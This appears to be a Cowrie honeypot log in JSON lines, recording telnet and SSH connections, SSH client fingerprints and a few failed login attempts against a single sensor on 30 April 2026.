{"eventid":"cowrie.session.closed","duration":30.791210412979126,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:21.101974Z","src_ip":"133.130.78.211","session":"df9fa13689e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.448878049850464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:21.106667Z","src_ip":"133.130.78.211","session":"87900fc55b6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.658924341201782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:21.197892Z","src_ip":"103.216.223.28","session":"f1b42646aa41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.443702936172485,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:21.225382Z","src_ip":"103.216.223.28","session":"0789e5d42e5f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":51496,"dst_ip":"159.203.135.109","dst_port":23,"session":"935ebf161db9","protocol":"telnet","message":"New connection: 103.216.223.28:51496 (159.203.135.109:23) [session: 935ebf161db9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:21.327680Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":52568,"dst_ip":"159.203.135.109","dst_port":23,"session":"69d6e049139b","protocol":"telnet","message":"New connection: 51.38.143.2:52568 (159.203.135.109:23) [session: 69d6e049139b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:21.839061Z"}
{"eventid":"cowrie.session.closed","duration":31.39184546470642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:21.984238Z","src_ip":"180.210.206.54","session":"a7093061356c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.809691429138184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:22.149816Z","src_ip":"133.130.78.211","session":"679cab66f048","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":52838,"dst_ip":"159.203.135.109","dst_port":23,"session":"84e87b636bea","protocol":"telnet","message":"New connection: 133.130.78.211:52838 (159.203.135.109:23) [session: 84e87b636bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:22.752334Z"}
{"eventid":"cowrie.session.closed","duration":30.46783685684204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:23.115340Z","src_ip":"103.216.223.28","session":"9ec338f41519","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.210.206.54","src_port":56484,"dst_ip":"159.203.135.109","dst_port":23,"session":"c98c278a1e20","protocol":"telnet","message":"New connection: 180.210.206.54:56484 (159.203.135.109:23) [session: c98c278a1e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:23.927513Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":56014,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c52d6159510","protocol":"telnet","message":"New connection: 103.216.223.28:56014 (159.203.135.109:23) [session: 0c52d6159510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:24.091176Z"}
{"eventid":"cowrie.session.closed","duration":30.437886476516724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:24.096828Z","src_ip":"133.130.78.211","session":"d35aed67dceb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208988189697266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:24.123326Z","src_ip":"103.216.223.28","session":"3c5050d04172","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226401329040527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:25.085512Z","src_ip":"180.210.206.54","session":"f4ff0e41f791","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59918236732483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:25.114519Z","src_ip":"133.130.78.211","session":"bf222a66423b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":57614,"dst_ip":"159.203.135.109","dst_port":23,"session":"44f97e02539e","protocol":"telnet","message":"New connection: 103.216.223.28:57614 (159.203.135.109:23) [session: 44f97e02539e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:25.299819Z"}
{"eventid":"cowrie.session.closed","duration":31.04603147506714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:25.500356Z","src_ip":"133.130.78.211","session":"233d4ed9e272","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152722120285034,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:26.097940Z","src_ip":"133.130.78.211","session":"d005809c8f6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5025737285614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:26.120594Z","src_ip":"103.216.223.28","session":"a099071e3759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":54676,"dst_ip":"159.203.135.109","dst_port":23,"session":"89ce55229c81","protocol":"telnet","message":"New connection: 133.130.78.211:54676 (159.203.135.109:23) [session: 89ce55229c81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:27.054209Z"}
{"eventid":"cowrie.session.closed","duration":30.43422794342041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:27.102979Z","src_ip":"133.130.78.211","session":"517960e6ae50","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.649460792541504,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:27.165556Z","src_ip":"133.130.78.211","session":"fd9b4271260a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":49122,"dst_ip":"159.203.135.109","dst_port":22,"session":"91d5b1a3c0cf","protocol":"ssh","message":"New connection: 45.78.208.179:49122 (159.203.135.109:22) [session: 91d5b1a3c0cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:27.191979Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:27.196553Z","src_ip":"45.78.208.179","session":"91d5b1a3c0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.482552528381348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:27.287338Z","src_ip":"133.130.78.211","session":"80bb0b2974c9","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:27.432853Z","src_ip":"45.78.208.179","session":"91d5b1a3c0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74914288520813,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:28.114038Z","src_ip":"133.130.78.211","session":"f7c70e00f3c5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"roger","password":"test","message":"login attempt [roger/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:28.410323Z","src_ip":"45.78.208.179","session":"91d5b1a3c0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.442464351654053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:28.562037Z","src_ip":"103.216.223.28","session":"835ef3831670","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.929943561553955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:28.872722Z","src_ip":"103.216.223.28","session":"06adc59b7d26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53087544441223,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:29.126635Z","src_ip":"103.216.223.28","session":"7678ede60f61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51053738594055,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:29.130203Z","src_ip":"103.216.223.28","session":"9c2ffbeff315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:29.648542Z","src_ip":"45.78.208.179","session":"91d5b1a3c0cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.432708740234375,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:30.502097Z","src_ip":"180.210.206.54","session":"cd81c69736c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68953824043274,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:31.230364Z","src_ip":"133.130.78.211","session":"004123e0e4ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.25393009185791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:31.243574Z","src_ip":"103.216.223.28","session":"516a8c375acf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":57220,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ead7fea96c1","protocol":"telnet","message":"New connection: 133.130.78.211:57220 (159.203.135.109:23) [session: 0ead7fea96c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:31.600755Z"}
{"eventid":"cowrie.session.closed","duration":31.66809630393982,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:31.874077Z","src_ip":"103.216.223.28","session":"51f33988778a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.845653533935547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:32.510513Z","src_ip":"180.210.206.54","session":"90d85426a64d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39134907722473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:33.105576Z","src_ip":"133.130.78.211","session":"b8e0bbbad50a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68854069709778,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:33.293783Z","src_ip":"180.210.206.54","session":"0228ce8ea2d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80643081665039,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:34.205131Z","src_ip":"180.210.206.54","session":"792f872804c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.327393770217896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:34.233463Z","src_ip":"103.216.223.28","session":"99fb2397622c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.53550386428833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:34.847257Z","src_ip":"133.130.78.211","session":"cb2af675120f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.830780267715454,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:35.113535Z","src_ip":"103.216.223.28","session":"245d7c76d48b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82082462310791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:36.253504Z","src_ip":"133.130.78.211","session":"a1d820b4757a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60168,"dst_ip":"159.203.135.109","dst_port":22,"session":"96eb5970f612","protocol":"ssh","message":"New connection: 159.203.92.129:60168 (159.203.135.109:22) [session: 96eb5970f612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:36.861958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:36.866061Z","src_ip":"159.203.92.129","session":"96eb5970f612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:36.869349Z","src_ip":"159.203.92.129","session":"96eb5970f612","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"esroot","message":"login attempt [admin/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:36.878503Z","src_ip":"159.203.92.129","session":"96eb5970f612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28518009185791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:37.038880Z","src_ip":"103.216.223.28","session":"408c1cbac6fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.691168308258057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:37.121130Z","src_ip":"103.216.223.28","session":"d8407f17349c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.3290536403656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:37.266235Z","src_ip":"103.216.223.28","session":"7c0fb8c20518","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.633169651031494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:37.300401Z","src_ip":"103.216.223.28","session":"0097852b4e12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.97317337989807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:37.563111Z","src_ip":"133.130.78.211","session":"ad0a87ebf44b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.967783451080322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:37.688219Z","src_ip":"180.210.206.54","session":"a041358f378e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:37.909759Z","src_ip":"159.203.92.129","session":"96eb5970f612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.807749032974243,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:38.103765Z","src_ip":"133.130.78.211","session":"9f08a9040551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.552661418914795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:38.136455Z","src_ip":"103.216.223.28","session":"6f4a58232c34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.644977569580078,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:38.707538Z","src_ip":"103.216.223.28","session":"5feb962250d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.752212285995483,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:38.836236Z","src_ip":"133.130.78.211","session":"f37e9e63b3d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":46692,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5e22895b00c","protocol":"telnet","message":"New connection: 51.38.143.2:46692 (159.203.135.109:23) [session: a5e22895b00c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:40.626166Z"}
{"eventid":"cowrie.session.closed","duration":30.58636474609375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:41.106674Z","src_ip":"133.130.78.211","session":"9d3eb2f1444b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.600409746170044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:41.510428Z","src_ip":"180.210.206.54","session":"b5a8cfec3bba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":46696,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7275e2ec689","protocol":"telnet","message":"New connection: 51.38.143.2:46696 (159.203.135.109:23) [session: b7275e2ec689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:41.595585Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.78.211","src_port":33906,"dst_ip":"159.203.135.109","dst_port":23,"session":"be542b475222","protocol":"telnet","message":"New connection: 133.130.78.211:33906 (159.203.135.109:23) [session: be542b475222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:42.172970Z"}
{"eventid":"cowrie.session.closed","duration":31.514174222946167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:42.926750Z","src_ip":"51.38.143.2","session":"150942bcfcc9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54265022277832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:44.152377Z","src_ip":"103.216.223.28","session":"a64126e16f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.382569789886475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:44.546502Z","src_ip":"133.130.78.211","session":"815ab0cf229d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":46700,"dst_ip":"159.203.135.109","dst_port":23,"session":"74de338f4521","protocol":"telnet","message":"New connection: 51.38.143.2:46700 (159.203.135.109:23) [session: 74de338f4521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:44.694911Z"}
{"eventid":"cowrie.session.closed","duration":31.00288724899292,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:45.123099Z","src_ip":"103.216.223.28","session":"ff4e782e736d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59195876121521,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:45.297341Z","src_ip":"103.216.223.28","session":"2c8751126fbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.837341785430908,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:45.512582Z","src_ip":"103.216.223.28","session":"e3f9ea1f2574","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.38.143.2","src_port":47090,"dst_ip":"159.203.135.109","dst_port":23,"session":"938b1e18e79d","protocol":"telnet","message":"New connection: 51.38.143.2:47090 (159.203.135.109:23) [session: 938b1e18e79d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:46.960711Z"}
{"eventid":"cowrie.session.closed","duration":30.679972648620605,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:54:47.254653Z","src_ip":"133.130.78.211","session":"84647a80f4a1","protocol":"telnet"}
